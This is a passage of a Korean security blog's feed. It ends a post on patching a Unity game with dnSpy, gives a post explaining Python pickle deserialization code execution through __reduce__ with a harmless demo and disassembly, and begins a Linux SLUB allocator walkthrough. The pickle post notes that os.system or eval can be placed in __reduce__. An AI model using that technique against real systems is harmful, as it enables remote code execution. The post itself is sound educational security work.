&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-04-27-4.png&quot; alt=&quot;수정한 코드드&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;우클릭 -&amp;gt; Edit Class&lt;/code&gt;를 통해 코드를 수정한 뒤&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-04-27-5.png&quot; alt=&quot;dnSpy 저장화면&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;파일 -&amp;gt; Save...&lt;/code&gt;를 통해 저장 후 게임 실행시 수정된 코드가 적용된다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-04-27-6.png&quot; alt=&quot;게임 클리어 화면면&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;잘 적용되어 죽지 않고 점수도 빠르게 올라간다.&lt;/p&gt;

&lt;h2 id=&quot;알아낸-내용&quot;&gt;알아낸 내용&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 27 Apr 2025 03:35:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/unity-binary-modification/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/unity-binary-modification/</guid>
      </item>
    
      <item>
        <title>파이썬 역직렬화 원격 코드 실행 취약점</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;리버싱 CTF문제를 푸는 도중 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pickle.load&lt;/code&gt;를 실행할 때 특정 코드가 실행되는 문제가 있어, 해당 문제를 푸는 중 발견한 내용을 요약하게 되었습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;파이썬의 역직렬화중 클래스의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__reduce__&lt;/code&gt;에서 반환된 함수가 호출되므로, 이를 이용해 역직렬화를 시도하는 컴퓨터에서 임의의 코드를 실행할 수 있음&lt;/li&gt;
  &lt;li&gt;역직렬화시 어떤 코드가 실행될지는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python -m pickletools &amp;lt;file&amp;gt;&lt;/code&gt;명령어 혹은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pickletools.dis&lt;/code&gt;메소드를 이용해 확인할 수 있음&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__reduce__&lt;/code&gt; 메소드를 포함하는 클래스를 생성하여 직렬화, 역직렬화시 어떤 코드가 실행되는지 분석함&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pickle&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pickletools&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;temp_callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;callback called&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;callback generated string&quot;&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;temp_method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__reduce__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;reduce inner string&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;temp_callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,))&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;v1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;12356&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;picklefile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pickle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;dumped&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;picklefile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pickletools&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;disassembled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;picklefile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pickle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;unpickled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위와 같은 코드를 실행했을때 아래와 같은 결과가 나옴&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;reduce inner string
dumped
    0: \x80 PROTO      4
    2: \x95 FRAME      42
   11: \x8c SHORT_BINUNICODE &apos;__main__&apos;
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE &apos;temp_callback&apos;
   37: \x94 MEMOIZE    (as 1)
   38: \x93 STACK_GLOBAL
   39: \x94 MEMOIZE    (as 2)
   40: \x8c SHORT_BINUNICODE &apos;12356&apos;
   47: \x94 MEMOIZE    (as 3)
   48: \x85 TUPLE1
   49: \x94 MEMOIZE    (as 4)
   50: R    REDUCE
   51: \x94 MEMOIZE    (as 5)
   52: .    STOP
highest protocol among opcodes = 4
disassembled
callback called
unpickled
callback generated string
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;알아낸-내용&quot;&gt;알아낸 내용&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;직렬화시에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__reduce__&lt;/code&gt; 내부의 코드가 실행된 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;호출할 메소드 명&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;호출할 메소드의 인자&lt;/code&gt;가 파일로 담기게 됨&lt;/li&gt;
  &lt;li&gt;역직렬화시에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;호출할 메소드 명&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;호출할 메소드의 인자&lt;/code&gt;가 실행됨, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__reduce__&lt;/code&gt; 내부의 코드는 실행되지 않음, 다른 메소드의 정보는 담기지 않음&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;호출할 메소드 명&lt;/code&gt;에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os.system&lt;/code&gt; 등의 메소드를 넣음으로써 쉘 코드 실행이 가능하며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;을 넣음으로써 임의의 코드 실행이 가능함&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 15 Feb 2025 06:17:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/python-deserialization-rce/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/python-deserialization-rce/</guid>
      </item>
    
      <item>
        <title>Introduction To Implementation Of The SLUB Allocator Via Socket Buffer Allocation And Deallocation</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Introduction&lt;/li&gt;
  &lt;li&gt;Per-CPU&lt;/li&gt;
  &lt;li&gt;NUMA Node&lt;/li&gt;
  &lt;li&gt;Kernel Memory Cache and Socket Buffer&lt;/li&gt;
  &lt;li&gt;SLUB allocator and SKB allocation&lt;/li&gt;
  &lt;li&gt;SLUB allocator and SKB deallocation&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Jeff Bonwick이 SLAB allocator를 소개하고 Christoph Lameter가 SLUB allocator를 대안으로 제시한 이후로 현대 리눅스 커널에는 SLUB allocator가 주로 사용되고 있다. 본 글에서는 리눅스 커널 5.15.30 버전을 기준으로 SKB (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct sk_buff&lt;/code&gt;)의 할당과 해제를 통해 SLUB allocator 구현을 살펴볼 것이다[1, 2].&lt;/p&gt;

&lt;h2 id=&quot;per-cpu&quot;&gt;Per-CPU&lt;/h2&gt;

&lt;p&gt;Symmetric multiprocessing system에서 다수의 CPU들이 핸들링하게 되는 데이터는 락으로 인한 병목이나 cache line bouncing 등을 초래할 수 있다. 이에 리눅스 커널 등은 각 CPU local에 가용한 데이터 공간을 두어 성능 저하를 최소화한다. 즉, CPU 마다 lockless하게 접근할 수 있는 공간을 두는 것이다[3].&lt;/p&gt;

&lt;p&gt;리눅스 커널은 CPU에 접근하기 위한 인터페이스로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;per_cpu_ptr()&lt;/code&gt;나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_cpu_ptr()&lt;/code&gt; 등을 제공한다. 이들은 다음과 같은 call trace를 통해 접근할 수 있다. (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_cpu_ptr()&lt;/code&gt;의 call trace가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SHIFT_PERCPU_PTR()&lt;/code&gt;에서 겹침을 확인하라)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

per_cpu_ptr(ptr, cpu)                                 raw_cpu_ptr(ptr)
SHIFT_PERCPU_PTR() /* __p = ptr,                      arch_raw_cpu_ptr()
           __offset = per_cpu_offset((cpu)) */        SHIFT_PERCPU_PTR() /* __p = ptr
RELOC_HIDE()                                                __offset = __my_cpu_offset */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 call trace에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RELOC_HIDE()&lt;/code&gt;는 전달된 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptr&lt;/code&gt;에 전달된 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;off&lt;/code&gt; (= &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__offset&lt;/code&gt;)을 더하여 CPU에 접근가능한 포인터를 반환한다. 이때 그 오프셋은 각각 다음과 같이 얻어진다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* include/asm-generic/percpu.h */&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;linux/compiler.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;linux/threads.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;linux/percpu-defs.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SMP
&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/*
 * per_cpu_offset() is the offset that has to be added to a
 * percpu variable to get to the instance for a certain processor.
 *
 * Most arches use the __per_cpu_offset array for those offsets but
 * some arches have their own ways of determining the offset (x86_64, s390).
 */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifndef __per_cpu_offset
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__per_cpu_offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NR_CPUS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#define per_cpu_offset(x) (__per_cpu_offset[x])
#endif
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* arch/ia64/include/asm/percpu.h */&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#define __my_cpu_offset	__ia64_per_cpu_var(local_per_cpu_offset)
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;per_cpu_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#else &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* ! SMP */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define per_cpu_init()				(__phys_per_cpu_start)
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif	&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* SMP */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define PER_CPU_BASE_SECTION &quot;.data..percpu&quot;
&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/*
 * Be extremely careful when taking the address of this variable!  Due to virtual
 * remapping, it is different from the canonical address returned by this_cpu_ptr(&amp;amp;var)!
 * On the positive side, using __ia64_per_cpu_var() instead of this_cpu_ptr() is slightly
 * more efficient.
 */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define __ia64_per_cpu_var(var) (*({					\
	__verify_pcpu_ptr(&amp;amp;(var));					\
	((typeof(var) __kernel __force *)&amp;amp;(var));			\
}))
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;asm-generic/percpu.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* Equal to __per_cpu_offset[smp_processor_id()], but faster to access: */&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;DECLARE_PER_CPU&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_per_cpu_offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이러한 per-CPU는 kernel memory cache를 초기화할 때 할당되며, 다음 call trace가 그 예시이다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = &quot;skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */
__kmem_cache_create()
kmeme_cache_open()
alloc_kmem_cache_cpus()
      |
      +-----------------------+
      |1                      |2
      V                       V
 __alloc_percpu()        init_kmem_cache_cpus()
 pcpu_alloc()
 pcpu_find_block_fit()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 calltrace의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pcpu_alloc()&lt;/code&gt;에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pcpu_setup_first_chunk()&lt;/code&gt; 등으로 할당된 slots인 per-CPU chunks로부터 할당하게 된다.&lt;/p&gt;

&lt;h2 id=&quot;numa-node&quot;&gt;NUMA Node&lt;/h2&gt;

&lt;p&gt;Non-Uniformed Memory Access (NUMA)는 일정 단위의 하드웨어 자원 (processor, I/O bus, …)마다 가용한 메모리 부분을 나누어 symmetric multiprocessing system의 평균적인 경우에 대한 access time을 줄이기 위한 shared memory architecture이다. 리눅스 커널은 물리적 뷰에서 메모리를 포함한 각 하드웨어 자원을 cell로 구분하며, 이를 다시 node로 추상화한다. 이러한 node는 다시 cell과 매핑된다. 이를 그림으로 나타내면 다음과 같다[4, 5].&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;              Node 1                                           Node 2
+-----------------------------------+         +-----------------------------------+
| +------------------------------+  |         | +------------------------------+  |
| |  processor1, processor2, ... |  |         | |  processor1, processor2, ... |  |
| +------------------------------+  |---------| +------------------------------+  |
|           |       |               |inter    |           |       |               |
|           |       |               |connected|           |       |               |
|   +--------------------------+    |---------|    +------------------------+     |
|   |       memory             |    |         |    |      memory            |     |
|   +--------------------------+    |         |    +------------------------+     |
+-----------------------------------+ \     / +-----------------------------------+
                                  \     \  /     /
                                   \     \/     /
                                    \    /\    /
                                     \  /  \  /
                                      \/    \/
                                      /\    /\                                    
              Node 3                 /  \  /  \                 Node 4
+-----------------------------------+    \/   +-----------------------------------+
| +------------------------------+  |    /\   | +------------------------------+  |
| |  processor1, processor2, ... |  |   /  \  | |  processor1, processor2, ... |  |
| +------------------------------+  |---------| +------------------------------+  |
|           |       |               |inter    |           |       |               |
|           |       |               |connected|           |       |               |
|   +--------------------------+    |---------|    +------------------------+     |
|   |       memory             |    |         |    |      memory            |     |
|   +--------------------------+    |         |    +------------------------+     |
+-----------------------------------+         +-----------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;NUMA 아키텍처는 위 그림에서 볼 수 있듯이 local node에서의 access time과 remote node에서의 access time에 차이가 나게 된다.&lt;/p&gt;

&lt;p&gt;리눅스 커널은 NUMA node에 접근하기 위한 인터페이스로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_node()&lt;/code&gt; 등을 제공한다. 그리고 그 동작을 살펴보면 node를 인덱스로 하여 반환함을 알 수 있다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slab.h */&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;inline&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이러한 NUMA node는 kernel memory cache를 초기화할 때 매핑되며, 다음 call trace를 통해 알 수 있다. (상대적 순서임에 주의하라)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = &quot;skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */
__kmem_cache_create()
kmeme_cache_open()
init_kmem_cache_nodes()
       |
       +----------------------------+
       |1                           |2
       V                            V
    kmem_cache_alloc_node()     init_kmem_cache_node()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;kernel-memory-cache-and-socket-buffer&quot;&gt;Kernel Memory Cache and Socket Buffer&lt;/h2&gt;

&lt;p&gt;리눅스 커널은 소켓 버퍼에 대한 slab cache를 관리하기 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skbuff_head_cache&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skbuff_fclone_cache&lt;/code&gt;를 둔다. 여기서 관심을 갖는 것은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skbuff_head_cache&lt;/code&gt;이며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct kmem_cache&lt;/code&gt; 타입으로 선언되어 있다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* include/linux/skbuff.h */&lt;/span&gt;

